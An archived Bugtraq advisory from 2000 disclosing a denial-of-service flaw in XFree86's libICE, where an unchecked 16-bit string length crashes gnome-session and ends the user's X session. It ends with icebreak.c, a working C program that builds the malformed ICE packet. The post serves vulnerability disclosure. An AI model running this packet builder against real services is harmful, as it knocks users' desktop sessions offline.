5211097 2000-06-20 02:10 /139 rader/ Postmaster
Mottagare: Bugtraq (import) <11344>
Markerad av 1 person.
Ärende: XFree86: libICE DoS
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.21.0006192220220.9945-100000@ferret.lmh.ox.ac.uk>
Date: Mon, 19 Jun 2000 23:51:18 +0100
Reply-To: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
To: BUGTRAQ@SECURITYFOCUS.COM
Hi,
I've been sitting on this one for a while.
SUMMARY
=======
Due to inadequate bounds checking in libICE, a denial of service
exists with any application using inet listening libICE for network
services.
Unfortunately, there is a fairly prominent user of libICE, namely
gnome-session. The misfortune deepens when we realize that when
gnome-session gets a SIGSEGV, the entire X session tends to exit
(after the user clicks OK in the crash dialog).
The GNOME team have released GNOME-1.2 which ensures that no libICE
services are exposed via TCP listening sockets. All the libICE
communication in GNOME-1.2 is done over user-private UNIX domain
sockets.
DISCUSSION
==========
libICE is, in general, pretty careful with untrusted network
data. However, there is a macro, SKIP_STRING, which is used to jump
over a string in the input stream. SKIP_STRING will read an unsigned
short variable from the network, and then jump forward in the input
buffer by that amount. A value of "65535", USHORT_MAX, is adequate to
leave a pointer dangling into oblivion and cause SEGV due to read of
unmapped memory.
COMMENTS
========
1) There was always likely to be a bug in libICE; the protocol suffers
from the classic flaw of having a lot of chit-chat before any
authentication is attempted.
2) I have in no way performed a thorough audit of the code. This was
the first issue I encountered, then I stopped looking. I'd suggest
anyone using libICE in a situation where security matters, should be
wary. There is potential for worse than DoS.
3) I investiagted and discovered this because of GNOME. I was pretty
unimpressed to discoverer a desktop aimed at the classic "end-user"
listening on TCP sockets in the default configuration. libICE is one
half of the story, libORBit the other half.
DEMO
====
Disclaimer - I haven't bothered to prettify this packet builder. I
don't check return codes, and if your byteorder != Intel x86, it
might not work. If it works at all.
Demo is appended
Cheers
Chris
/* icebreak.c - Chris Evans */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int
main(int argc, const char* argv[])
{
unsigned char c;
unsigned int i;
unsigned short s;
char blankbuf[1000];
memset(blankbuf, '\0', sizeof(blankbuf));
/* Assume fd 1 is stdout */
/* ICE connection header */
/* First, pick an endian-ness */
/* Byte 1: Major opcode. Must be 0 */
c = 0;
write(1, &c, 1);
/* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
c = 1;
write(1, &c, 1);
/* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
c = 0;
write(1, &c, 1);
/* Byte 4: Unused. Write 0 */
c = 0;
write(1, &c, 1);
/* Bytes 5-8: integer length. Must be zero for byte-order message. */
i = 0;
write(1, &i, 4);
/* Next message - ICE_ConnectionSetup */
/* Byte 1: Major opcode. 0 for core ICE protocol message */
c = 0;
write(1, &c, 1);
/* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
c = 2;
write(1, &c, 1);
/* Bytes 3, 4: versionCount & authCount */
c = 255;
write(1, &c, 1);
write(1, &c, 1);
/* Bytes 5-8, int length. Must be at least 8 */
i = 8;
write(1, &i, 4);
/* Now, bytes are part of iceConnectionSetupMsg */
/* This is an extra 8 bytes */
/* Byte 1: "must authenticate" */
c = 0;
write(1, &c, 1);
/* Bytes 2-8: unused */
write(1, blankbuf, 7);
/* Now we're writing into the malloc'ed message data space */
/* First, a string. Give it's 16bit length a big value to get ICE code
* to iterate off the end of the buffer
*/
s = 65535;
write(1, &s, 2);
/* And some blank to get the (total) 56 char data read finished */
write(1, blankbuf, 54);
}
(5211097) ------------------------------------------(Ombruten)